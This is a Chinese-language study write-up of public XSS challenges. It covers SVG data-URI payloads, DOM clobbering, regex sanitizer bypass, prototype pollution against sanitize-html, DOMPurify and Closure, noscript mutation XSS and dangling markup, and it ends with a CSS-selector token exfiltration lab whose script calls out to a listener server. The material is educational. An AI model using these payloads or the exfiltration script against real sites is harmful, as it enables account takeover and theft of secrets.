<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPjxhIHhsaW5rOmhyZWY9J2phdmFzY3JpcHQ6YWxlcnQoMSknPjxyZWN0IHg9JzAnIHk9JzAnIHdpZHRoPScxMDAnIGhlaWdodD0nMTAwJyAvPjwvYT48L3N2Zz4=#x"></use></svg>

原作者还提到了一种ISO-2022-JP编码的解法,部分浏览器在解析的时候会忽略\x1B\x28\x42,也就是%1B%28B。所以还有一种payload如下:

1
<svg><use href="data:image/svg+xml;charset=ISO-2022-JP,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javas%1B%28Bcript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>

追加练习4 - @SecurityMB系列

这些题都是从@SecurityMB里拿来的,学习学习。

1 - Dom Clobbering

刚刚在追加练习2中提到了这个技术,于是再来一道——本题还结合了CSP的绕过,但是其实到现在我们已经没有办法绕过这个CSP了(chrome应该已经修复了它)。其wp在这里。题目的主要部分如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<!doctype html><meta charset=utf-8>
<title>SecurityMB's Security Challenge</title>
<style>
* {
font-family: monospace;
}
textarea {
width:100%;
height:90px;
}
iframe {
border: 1px solid;
width: 100%;
height: 200px;
}
</style>
<script src=./dompurify-2.0.1.js nonce=abcd></script>
<h1>XSS challenge</h1>
<p><b>Rules:</b></p>
<ul>
<li>Please enter some HTML. It gets sanitized and shown in the iframe.</li>
<li>The task is: execute alert(1) (it must actually execute so you have to bypass CSP as well).</li>
<li>The solution must work on current version of at least one major browser (Chrome, Firefox, Safari, Edge).</li>
</ul>

<textarea autofocus oninput=debouncedProcess() id=input></textarea><br>
Length of the solution URL: <span id=len></span><br>
<iframe sandbox="allow-scripts allow-modals" id=ifr></iframe>
<script nonce=abcd>
const input = document.getElementById('input');
const iframe = document.getElementById('ifr');
const mainUrl = location.href.split('?')[0];
// from: https://stackoverflow.com/a/24004942
function debounce(func, wait, immediate) {
var timeout;

return function() {
var context = this,
args = arguments;
var callNow = immediate && !timeout;
clearTimeout(timeout);
timeout = setTimeout(function() {
timeout = null;
if (!immediate) {
func.apply(context, args);
}
}, wait);
if (callNow) func.apply(context, args);
}
}

function process() {
const sanitized = DOMPurify.sanitize(input.value);
history.replaceState(null, null, mainUrl + '?xss=' + encodeURIComponent(input.value));

const html = `
<meta http-equiv=Content-Security-Policy content="script-src https://pastebin.com/how-can-i-escape-this/ 'nonce-xyz' https://securitymb.github.io/xss/1/modules/v20190816/">
<h1>Homepage!</h1>
<p>Welcome to my homepage! Here are some info about me:</p>
${sanitized}
<script nonce=xyz src="./main.js"><\/script>`;

iframe.srcdoc=html;
len.textContent = location.href.length;
}

input.value = new URL(location).searchParams.get('xss');
window.debouncedProcess = debounce(process, 100);
debouncedProcess();
</script>

可见我们需要在这个iframe沙盒里面绕过CSP规则和DOMPurify的过滤。这里的CSP规则意思是只能从那两个网站上,或者从nonce匹配的<script>标签里面加载相应的js代码。另外,这个版本的DOMPurify似乎还是有可能绕过的,详情参见该文章(但就本题来说,结合CSP规则,这似乎是无法成功的)。

我们很快注意到在${sanitized}下面有对main.js的引入,于是我们将注意力转移到这个文件。这个文件效果就是引入一个url所指向的js文件,那我们能否控制住这个url呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function loadModule(moduleName) {
const scriptSrc = new URL(document.currentScript.src);
let url = '';

if (CONFIG.test && window.testPath) {
url = window.testPath.protocol + '//' + window.testPath.host;
} else {
url = scriptSrc.origin;
}
url += `/xss/1/modules/${CONFIG.version}/${moduleName}.js`;
const sc = document.createElement('script');
sc.src = url;
document.body.appendChild(sc);
}

如果能够修改掉上面的window.testPath.protocolwindow.testPath.hostCONFIG.version的结果,我们就能成功地控制url。这是一个可以使用Dom Clobbering的情形!这里有个非常不错的视频

接下来的攻击主要想法其实就下面这段代码:

1
2
3
4
5
<a href="https://pastebin.com" id="testPath">
<script>
console.log(window.testPath.protocol);
console.log(window.testPath.host);
</script>

15

相信你脑中充满了疑惑,一没解决问题,二还不知道为什么<a>标签会有这样的效果(作者说找到了,但没说是怎么找到的,我查了下没找到相关的文档)。从触发来看这个指该标签在DOM对象中具有protocol这样的属性,那么如果对其进行一次FUZZ,我们就能把它找出来!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<body>
<script>
const tags = ["a", "abbr", "address", "area", "article", "aside", "audio", "b", "base", "bdi", "bdo", "blockquote", "body", "br", "button", "canvas", "caption", "cite", "code", "col", "colgroup", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "footer", "form", "h1", "h2", "h3", "h4", "h5", "h6", "head", "header", "hgroup", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "keygen", "label", "legend", "li", "link", "main", "map", "mark", "math", "menu", "menuitem", "meta", "meter", "nav", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "pre", "progress", "q", "rb", "rp", "rt", "rtc", "ruby", "s", "samp", "script", "section", "select", "slot", "small", "source", "span", "strong", "style", "sub", "summary", "sup", "svg", "table", "tbody", "td", "template", "textarea", "tfoot", "th", "thead", "time", "title", "tr", "track", "u", "ul", "var", "video", "wbr"]

function test(html) {
try {
document.documentElement.innerHTML = html;
if (window.testPath.protocol !== undefined && window.testPath.host !== undefined) {
console.log(html)
console.log('---------------------')
}
} catch(e){
console.log(e);
}
}

for(var tag in tags) {
let fuzz = `<${tags[tag]} id="testPath">please work</${tags[tag]}>`;
test(fuzz);
}
</script>
</body>
</html>

16

好了,现在的问题是该怎么控制CONFIG.version呢?其实<html>标签是可以控制的,但是我们并没有FUZZ到。而且由于DOMPurify的过滤,我们根本没办法成功地进行利用,此方案被放弃了。

但是,可以通过<form>例如定义嵌套对象。通过注入的代码<form id="CONFIG"><input name="test"><input name="version">我们可以通过<input>访问CONFIG.versionCONFIG.test。可是好像无法直接控制。

We can insert two elements with the same id which creates a reference to a HTMLCollection object instead of a simple HTMLElement. Moreover, defining name attributes altogether allow accessing these elements through HTMLCollection. on chromium-based browsers.
Inserting the code into DOM results in CONFIG yielding HTMLCollection as shown on the image.

这里使用了HTMLCollection来突破困局,请自行理解。最后的利用因为浏览器方面已经补上了bypassCSP的洞,所以就只能想办法让大家理解此题的精妙之处。请尝试运行下列脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<a href="https://pastebin.com" id="testPath">aaa</a>
<a id="CONFIG" name="test">bbb</a>
<a id="CONFIG" name="version" href="cid:/../../../../how-can-i-escape-this%2f..%2fraw/EzBMsnWa?">ccc</a>
<script>
console.log(CONFIG.version);
console.log(`${CONFIG.version}`);
</script>
</body>
</html>

18

这里可以看到非常让人震惊的结果。模板函数输出的结果竟然和直接的输出结果不同!另外,将如下的结果填入到index.html的框框中。

1
2
3
<a href="https://pastebin.com" id="testPath"></a>
<a id="CONFIG" name="test"></a>
<a id="CONFIG" name="version" href="cid:/../../../../how-can-i-escape-this%2f..%2fraw/EzBMsnWa?"></a>

19

因为%2F..%2F这个bypassCSP手段被和谐了,所以我们没办法访问到相应的资源,也就没办法成功完成这道题,但这里的花活还是非常值得学习借鉴的。

2 - lazy quantifiers

直接贴上源码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<!doctype html><meta charset=utf-8>
<title>SecurityMB's XSS Challenge #2</title>
<style>
* {
font-family: monospace;
}
textarea {
width:100%;
height:90px;
}
iframe {
border: 1px solid;
width: 100%;
height: 200px;
}
</style>
<h1>XSS challenge #2</h1>
<p><b>Rules:</b></p>
<ul>
<li>Please enter some HTML. It gets sanitized and inserted to a &lt;div>.</li>
<li>The task is: execute <code>alert(1)</code>.</li>
<li>The solution must work on current version of at least one major browser (Chrome/Edge, Firefox, Safari).</li>
<li><s>If you find a solution, please DM me at Twitter: <a href="https://twitter.com/SecurityMB">@SecurityMB</a>.</s></li>
<li>The challenge is based on code seen in the wild.</li>
</ul>

<textarea autofocus oninput=process() id=input></textarea><br>
<script>
const input = document.getElementById('input');
const getInput = () => input.value;
const mainUrl = location.href.split('?')[0];
const iframe = document.getElementById('ifr');
input.value = new URL(location).searchParams.get('xss');

function sanitize(input) {
const TAG_REGEX = /<\/?(\w*)([^>]*)>/gmi;
const COMMENT_REGEX = /<!--.*?-->/gmi;
const END_TAG_REGEX = /^<\//;
// Taken from XSS Cheat Sheet by Portswigger
const FORBIDDEN_ATTRS = ["onactivate","onafterprint","onanimationcancel","onanimationend","onanimationiteration","onanimationstart","onauxclick","onbeforeactivate","onbeforecopy","onbeforecut","onbeforedeactivate","onbeforepaste","onbeforeprint","onbeforeunload","onbegin","onblur","onbounce","oncanplay","oncanplaythrough","onchange","onclick","oncontextmenu","oncopy","oncut","ondblclick","ondeactivate","ondrag","ondragend","ondragenter","ondragleave","ondragover","ondragstart","ondrop","onend","onended","onerror","onfinish","onfocus","onfocusin","onfocusout","onhashchange","oninput","oninvalid","onkeydown","onkeypress","onkeyup","onload","onloadeddata","onloadedmetadata","onloadend","onloadstart","onmessage","onmousedown","onmouseenter","onmouseleave","onmousemove","onmouseout","onmouseover","onmouseup","onpageshow","onpaste","onpause","onplay","onplaying","onpointerover","onpointerdown","onpointerenter","onpointerleave","onpointermove","onpointerout","onpointerup","onpointerrawupdate","onpopstate","onreadystatechange","onrepeat","onreset","onresize","onscroll","onsearch","onseeked","onseeking","onselect","onstart","onsubmit","ontimeupdate","ontoggle","ontouchstart","ontouchend","ontouchmove","ontransitioncancel","ontransitionend","ontransitionrun","onunhandledrejection","onunload","onvolumechange","onwaiting","onwheel"];
const FORBIDDEN_TAGS = ["script", "style", "noscript", "template", "svg", "math"];

let sanitized = input;

sanitized = sanitized.replace(COMMENT_REGEX, '');
sanitized = sanitized.replace(TAG_REGEX, (wholeTag, tagName, attributes) => {
tagName = tagName.toLowerCase();

if (FORBIDDEN_TAGS.includes(tagName)) return '';

if (END_TAG_REGEX.test(wholeTag)) {
return `</${tagName}>`;
}
for (let attr of FORBIDDEN_ATTRS) {
attributes = attributes.replace(new RegExp(attr + '\\s*=', 'gi'), '_ROBUST_XSS_PROTECTION_=');
}

return `<${tagName}${attributes}>`
});


return sanitized;

}

function process() {
const input = getInput();
history.replaceState(null, null, '?xss=' + encodeURIComponent(input));

const div = document.createElement('div');
div.innerHTML = sanitize(input);
// document.body.appendChild(div)
}

process();

</script>

大致看了下,首先如果document.body.appendChild(div)没被注释的话,应该是只需要绕过过滤即可,像下面这些都可行:

1
2
3
4
5
<form><input type=submit formaction=javascript:alert(1) value=XSS>

<iframe srcdoc=&lt;script&gt;alert&lpar;1&rpar;&lt;&sol;script&gt;></iframe>

<object data=“data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4K”></object>

可问题是现在被注释了……我们看下那个过滤的逻辑,应该是先除去注释,然后除去敏感标签,再除去敏感属性,最后return到那个div.innerhtml里面。看起来追加练习2里面的内容和它有着一定联系,但似乎并不能完成攻击。

这位老哥给出的wp说可以尝试绕过正则,使用<img>标签完成攻击。确实这里没有追加练习2里面将标签从innerhtml里面移除的操作,因此是可行的。 下面我们来看看如何完成绕过。

1
2
3
4
5
6
x = y = "<img > src=x >"
const TAG_REGEX = /<\/?(\w*)([^>]*)>/gmi;
x = x.replace(TAG_REGEX, '');
const TAG_REGEX2 = /<\/(\w*)([^>]*)>/gmi;
y = y.replace(TAG_REGEX2, '');
[x, y]

没错这就是正则匹配中贪婪模式和非贪婪模式的区别。所以最后的payload可以如下:

1
<img src=">" onerror=alert(1)>

3 - marginwidth

这个题很怪,而且危害的浏览器似乎只有safari,不适合我这种初学者,所以直接去看wp吧。

4 - prototype pollution

出题者的题在这里,要利用原型链污染(我觉得这个链接是必须认真看的)绕过sanitizer。

根据出题者的wp, 我们先简要介绍下原型链污染的较容易发生的代码逻辑:

1、对于下面这样的内容,在obj2的迭代中只有一个属性__proto__

1
2
obj1={}
obj2=JSON.parse('{"__proto__":{"x":1}}')

2、检查是否obj1.__proto__存在;

3、迭代obj2.__proto__中的所有属性,发现了x

4、赋值导致了污染:obj1.__proto__.x= obj2.__proto__.x

另外,在sanitizer中,库一般利用数组或者一个包含多个元素的对象来存储相关的元素,前者没办法进行污染但后者可以,有困惑的话可以使用如下脚本进行比较:

1
2
3
4
5
6
7
8
9
10
const ALLOWED_ELEMENTS_ARRAY = ["h1", "i", "b", "div"];
Object.prototype.length = 10;
Object.prototype[0] = 'test';
const ALLOWED_ELEMENTS_OBJECT = {
"h1": true,
"i": true,
"b": true,
"div" :true
}
ALLOWED_ELEMENTS_OBJECT['length']

接下来就是对各个sanitizer的针对性绕过了。

  • sanitize-html的介绍里有默认配置,可以看到尽管allowedTags是个数组,但里面有iframe可以使用!另外,allowAttributes正好适合进行污染。于是去js文件中搜索有关allowAttributes的代码,最终发现只要绕过下面这个判断即可。

    1
    2
    3
    if (!allowedAttributesMap || has(allowedAttributesMap, name) && allowedAttributesMap[name].indexOf(a) !== -1 || allowedAttributesMap['*'] && allowedAttributesMap['*'].indexOf(a) !== -1 || has(allowedAttributesGlobMap, name) && allowedAttributesGlobMap[name].test(a) || allowedAttributesGlobMap['*'] && allowedAttributesGlobMap['*'].test(a)) {
    passedAllowedAttributesMapCheck = true;
    }

    结合页面对json的处理,所以访问这个https://securitymb.github.io/xss/4/?json=%7B%22*%22%3A%22onload%22%7D&html=%3Ciframe+onload%3Dalert%281%29%3E即可。

  • 对于js-xss,我们直接在js脚本中搜索filterXSS,很快就能够在FilterXSS.prototype.process中找到whiteList这个非常适合污染的参数。
    其使用方式可以参考。于是很快我们能够得到一个没法正常运行的payload:https://securitymb.github.io/xss/4/?json=%7B%22escapeHtml%22%3Afalse%2C%22whiteList%22%3A%5B%22src%22%2C%22onerror%22%5D%7D&html=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E,因为这里的<>被转义了。我太菜了没发现解决办法……

  • 对于DOMPurify,相信你已经有感觉了,所以很快就能够在js文件中找到如下的关键代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    /* Set configuration parameters */
    ALLOWED_TAGS =
    'ALLOWED_TAGS' in cfg
    ? addToSet({}, cfg.ALLOWED_TAGS)
    : DEFAULT_ALLOWED_TAGS;
    ALLOWED_ATTR =
    'ALLOWED_ATTR' in cfg
    ? addToSet({}, cfg.ALLOWED_ATTR)
    : DEFAULT_ALLOWED_ATTR;
    URI_SAFE_ATTRIBUTES =
    'ADD_URI_SAFE_ATTR' in cfg
    ? addToSet(clone(DEFAULT_URI_SAFE_ATTRIBUTES), cfg.ADD_URI_SAFE_ATTR)
    : DEFAULT_URI_SAFE_ATTRIBUTES;

    因此只需要访问https://securitymb.github.io/xss/4/?json=%7B%22ALLOWED_ATTR%22%3A%5B%22src%22%2C%22onerror%22%5D%7D&html=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E即可完成DOMPurify的绕过;而DOMPurify 2.0.14尝试了一下发现不会555……(外卖小哥送菜上门,菜到家了。

  • 对于Closure,我们很容易找到在html/sanitizer里面的相关文件,其中就有最让人在意的attributeallowlists.js。根据里面的参数格式(*和大写字母),很容易能够构造出https://securitymb.github.io/xss/4/?json=%7B%22*+SRC%22%3Atrue%2C%22*+ONERROR%22%3Atrue%7D&html=%3Cimg+src+onerror%3Dalert%281%29%3E

5 - noscript

这道题感觉没法做,虽然说功能上只是对黑名单标签过滤后再抹去所有标签中的属性。但抹去了<noscript>之后似乎在chrome上没法做了。原题的解答似乎是在其他浏览器上测试的。当然这里必须推荐一个测试用的网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
<!DOCTYPE html> <meta charset="utf-8" />
<title>XSS Challenge #5</title>
<meta
name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no, minimal-ui"
/>

<div id="app">
<h1>XSS Challenge #5</h1>
<h2>Rules</h2>
<ul>
<li>
There's been a
<a
href="https://github.com/whatwg/html/commit/f690ad909ddc97ea3ff50740c270396cbe676261"
>recent change in HTML standard</a
>
that alters behaviour of breaking out of foreign content in
<code>innerHTML</code>.
</li>
<li>The previous behaviour could be abused to mutation XSS in Firefox.</li>
<li>
Everything you input below will be sanitized by a handmade sanitizer and
written to <code>iframe.srcdoc</code>.
</li>
<li>
Can you find a way to execute <code>alert(document.domain)</code> in
Firefox?
</li>
<li>
<b>Update</b>:
<a href="https://twitter.com/PwnFunction">@PwnFunction</a> found a
<a href="https://twitter.com/PwnFunction/status/1367014227764862979"
>nice solution</a
>
that utilizes <code>&lt;noscript></code> which was an unexpected way to
solve the challenge. Hence <code>&lt;noscript></code> is also disallowed
now.
</li>
<li>
Reply to my
<a href="https://twitter.com/SecurityMB/status/1366823660707807236"
>tweet</a
>
when you do!
</li>
</ul>
<h2>Safe HTML sanitizer</h2>
<p>Input:</p>
<textarea
v-model="input"
@input="updateUrl"
placeholder="Enter HTML here"
style="width: 100%; height: 100px"
></textarea>
<p>Output:</p>
<pre><code>{{ sanitized }}</code></pre>
<p>Iframe:</p>
<iframe width="100%" :srcdoc="sanitized"></iframe>
</div>

<script src="https://cdn.jsdelivr.net/npm/vue@2"></script>
<script>
function sanitize(input) {
const template = document.createElement("template");
template.innerHTML = input;
const content = template.content;
// Remove all attributes of all elements besides aria-* for accessibility
Array.from(content.querySelectorAll("*")).forEach((element) => {
const attrs = Array.from(element.attributes);
attrs.forEach(
(attr) =>
!attr.name.startsWith("aria-") && element.removeAttributeNode(attr)
);
});

// Remove tags that are known to cause trouble
const BLOCKED_TAGS =
"script, style, template, form, applet, object, mglyph, malignmark";
Array.from(content.querySelectorAll(BLOCKED_TAGS)).forEach((element) =>
element.remove()
);

return template.innerHTML;
}

const app = new Vue({
el: "#app",
mounted() {
this.input = atob(decodeURIComponent(location.hash.slice(1)));
},
computed: {
sanitized() {
return sanitize(this.input);
},
url() {
return (
location.origin +
location.pathname +
"#" +
encodeURIComponent(btoa(this.input))
);
},
},
data: {
input: "",
},
methods: {
updateUrl() {
history.replaceState(null, null, this.url);
},
},
});
</script>

输入为<noscript><x aria-="</noscript><img src=x onerror=alert(document.domain)>">,这里是通过js脚本处理和网页解析对源码理解不同完成的绕过——非常典型的例子。在FUZZ部分的例1就是有关这个攻击的。

追加练习5 - Dangling Markup & Dom Clobbering

本题选自这里。这里贴一下源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
<!DOCTYPE html>
<html>

<head>
<script src='purify.js'></script>
<title>Easy XSS</title>
<meta http-equiv="content-security-policy" content="default-src 'self'; font-src data:; style-src 'unsafe-inline';
script-src 'nonce-1337' 'unsafe-eval'; base-uri 'none';
frame-src 'self' sandbox.terjanq.me; object-src 'none'">
<meta charset="utf8">
<meta http-equiv="X-XSS-Protecion" content="0">
<style>
body {
width: calc(100% - 420px);
}
</style>
</head>

<body>
<h1> Hello (Easy XSS)!</h1>

<script nonce="1337">
/* utils.js */
function contains(a, key) {
if (key in a) {
return true;
}
try {
for (let k of a) {
if (k == key) {
return true;
}
}
} catch (e) {}
return false;
}

const escape = e => unescape(e).replace(/</g, '[').replace(/>/g, ']');

const url = new URL(location.href);
const sandboxify = dom => {
dom.querySelectorAll('iframe').forEach(x => {
let style = x.style.cssText;
let sandbox = document.createElement('iframe');
sandbox.scrolling = "no";
sandbox.src = 'https://sandbox.terjanq.me/#' + encodeURIComponent(x.innerHTML);
sandbox.style.cssText = style;
safe_dom.insertBefore(sandbox, x);
x.remove();
});
}
</script>

<script nonce="1337">
/* main.js */
let safe_html = url.searchParams.get('safe') ||
`<iframe style="border:none;width:600px;height:250px">
<h2>Rules:</h2>
<ul>
<li> The goal is to pop out an <code>alert(/1337/)</code> on
<strong><code>easyxss.terjanq.me</code></strong> domain
</li>
<li> It must be working in one of the major browsers
(Chrome, Firefox, Safari, Edge) in the latest version
</li>
<li> The solution must respect CSP </li>
<li> Popping out an <code>alert</code> on
<strong><code>sandbox.terjanq.me</code></strong>
is not a solution, you must escape the sandbox!
</li>
<li> <s> If you managed to solve it, DM me on Twitter
<a target="_blank" href="https://twitter.com/terjanq">@terjanq</a>! </s>
</li>
<li> <strong>The challenge is over!</strong> The solution:
<a target="_blank" href="https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41">
https://medium.com/@terjanq/clobbering-the-clobbered-vol-2-fb199ad7ec41</a>! </s>
</li>
</ul>
</iframe>
<iframe style="display:block;position:absolute;top:550px;right:50px;width:400px;height:300px;border:none">
<iframe style="width:100%;height:100%;border:none" src="//easyxss.terjanq.me/hof.html"><\/iframe>
</iframe>
<iframe style="display:block;position:absolute;right:50px;top:20px;border:none; width:400px;height:520px;">
<iframe style="width:100%;height:100%;border:none" src="//easyxss.terjanq.me/tweet.html"><\/iframe>
</iframe>
`;
let safe_dom = DOMPurify.sanitize(safe_html, {
RETURN_DOM: true,
ADD_TAGS: ['iframe']
});
sandboxify(safe_dom);
document.write(safe_dom.innerHTML);
const image = url.searchParams.get('img') || "cats.gif";
document.write(`<img src="${escape(image)}" />`);
document.cookie = `session=${(Math.random()*1e18).toString(36)}`;
</script>

<script nonce="1337">
/* config.js */
const CONFIG = {
user: {
referer: document.referrer || 'nowhere',
username: url.searchParams.get('user') || 'Guest',
},
trusted: {
referers: ['http://localhost/', 'http://secret.instance/', 'https://twitter.com/'],
}
}
</script>

<script nonce="1337">
/* trusted.js */
window.cookies = Object.fromEntries(
document.cookie.split('; ').map(x => x.split('='))
)

window.show_session = async() => {
if (cookies.session) {
document.write(cookies.session);
}
}

function is_trusted() {
return contains(CONFIG.trusted.referers, CONFIG.user.referer);
}
</script>

<script nonce="1337">
/* user.js */
onload = () => {
document.querySelector('h1').innerHTML = `Welcome <tt>${escape(CONFIG.user.username)}</tt> from <tt>${escape(CONFIG.user.referer)}</tt>! `;

if (is_trusted() && url.searchParams.get('show_session') != null) {
setTimeout(window.show_session, 1000);
}
}
</script>
</body>
</html>

接下来先看CSP的情况,发现将带有nonce=1337的脚本注进去才能够触发,而且要是需要iframe的话只能在easyxss.terjanq.mesandbox.terjanq.me域中。

其次观察有哪些可被用户直接控制的参数,发现imgusersafeshow_session可直接控制。但因为过滤的缘故,将恶意的payload直接明目张胆地带进去是没用的。但我们很快就会发现在user.js部分有个setTimeout函数,只要控制住window.show_session并且成功符合其之前的判断条件(也就是is_trusted为真)即可完成任务。

我们来看看出题人的解答是如何完成以上提到的这两点的,先上payload:https://easyxss.terjanq.me/?show_session=&img=cats.gif%22name=cookie+x=%27&safe=%3Ca%20id=show_session%20href=cid:alert(/1337/)%3E%3C/a%3E%3Ciframe%3E%3Cscript%3Ewindow.name%3D%22CONFIG%22%3Blocation%3D%27%2F%2Feasyxss.terjanq.me%3Fsafe%3D%3Cform%20id%3Dtrusted%20name%3Duser%3E%3Cimg%20id%3Dreferer%20name%3Dreferers%3E%3Cimg%20name%3Dreferers%3E%27%3C%2Fscript%3E%3C%2Fiframe%3E,解码后如下:

1
2
3
4
5
6
7
8
9
10
11
12
https://easyxss.terjanq.me/? 
show_session=
&img=cats.gif"name=cookie x='
&safe=
<a id=show_session href=cid:alert(/1337/)></a>
<iframe>
<script>window.name="CONFIG"; location="//easyxss.terjanq.me?safe=
<form id=trusted name=user>
<img id=referer name=referers>
<img name=referers>
"</script>
</iframe>

这里首先是img=cats.gif"name=cookie x=',它使用了Dangling Markup技术(这里还有一个相对好理解的链接),目的就是CONFIG.trusted的值破坏为undefined,具体的效果如下图。

21

但是这还不够,毕竟在trusted.js部分还有is_trusted函数,可我们现在连CONFIG都没有定义……所以出题者之后就通过payload的<iframe>里面的内容完成了对它的定义(这里的<iframe>标签是必要的因为过滤规则,而且需要其内部的跳转!原文在这一点上还有两种解法,这里不多说了),这用到的就是追加练习4里Dom Clobbering技术,尝试访问如下的网页我们就能够明白作者是如何实现的。

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title>Easy XSS</title>
</head>
<body>
<script>window.name="CONFIG"; location="//easyxss.terjanq.me?safe=<form id=trusted name=user> <img id=referer name=referers> <img name=referers> "</script>
</body>
</html>

如果你依旧对出题者的想法感到疑惑的话建议结合下面这张网络加载情况自行理解(我觉得自己已经把要点讲明白了x)。

22

追加练习6 - xsleaks

本题选自此文章。其使用的浏览器为Chromium 78.0.3904.97(现在的版本早就没这个漏洞了),其下载地址在这里。若在linux下运行,请使用--no-sandbox参数。

接下来我们将考虑如何获取以下PHP中的两个token,它们在一定时间内都是不变的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<input type=hidden value=<?=$token1 ?>>
<script>
var TOKEN = "<?=$token2 ?>";
</script>

<style>
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
</body>
</html>

token1

现在考虑获取在<input>标签里面的token1

我们发现在<style>标签里面无法继续增加标签了。于是思考如何通过css获取token的内容,下面这个通过CSS选择器的方法适用于此环境但不适用于现状。

1
2
3
input[value^="8"] {
background: url(http://172.17.0.1:9999/8);
}

我们发现监听的9999端口有连接出现,下一步就是将这个爆破的过程自动化。

下面这个是css_exp.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>

<body>
<script src="http://172.17.0.1:3000/cookie.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>
<script>
(async function () {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = '';

while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
createIframeWithCss();
extractedToken = await getTokenFromCookie();

document.getElementById('token').textContent = extractedToken;
}

function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function () {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}

function clearTokenCookie() {
Cookies.remove('token');
}

function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"] {
background: url(http://172.17.0.1:3000/token/${extractedToken}${char})
}`;
}

return css;
}

function createIframeWithCss() {
iframe.src = 'http://172.17.0.1/css.php?css=' + encodeURIComponent(generateCSS());
}

})();
</script>
</body>
</html>

下面这个是index.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const express = require('express');
const app = express();

app.disable('etag');

const PORT = 3000;

app.get('/token/:token',(req,res) => {
const { token } = req.params; //var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a;
console.log('token:: ' + token);
res.cookie('token',token);
res.send('')
});

app.get('/cookie.js',(req,res) => {
res.sendFile('js.cookie.js',{
root: './node_modules/js-cookie/src/'
});
});

app.get('/index.html',(req,res) => {
res.sendFile('index.html',{
root: '.'
});
});

app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
});

这整个过程的思路可以用如下这张图来进行描绘。

10

当然这里需要注意的是我们在浏览器里不应该输入非172.17.0.1的地址,否则这个cookie就没有办法传递下去,也就只执行一步随即停止——因为默认的cookie的设置有一项为Path=/,所以在保证同源的情况下,我们才能在父页面也能拿到iframe的 cookie。以下是成功的截图。

11

token2

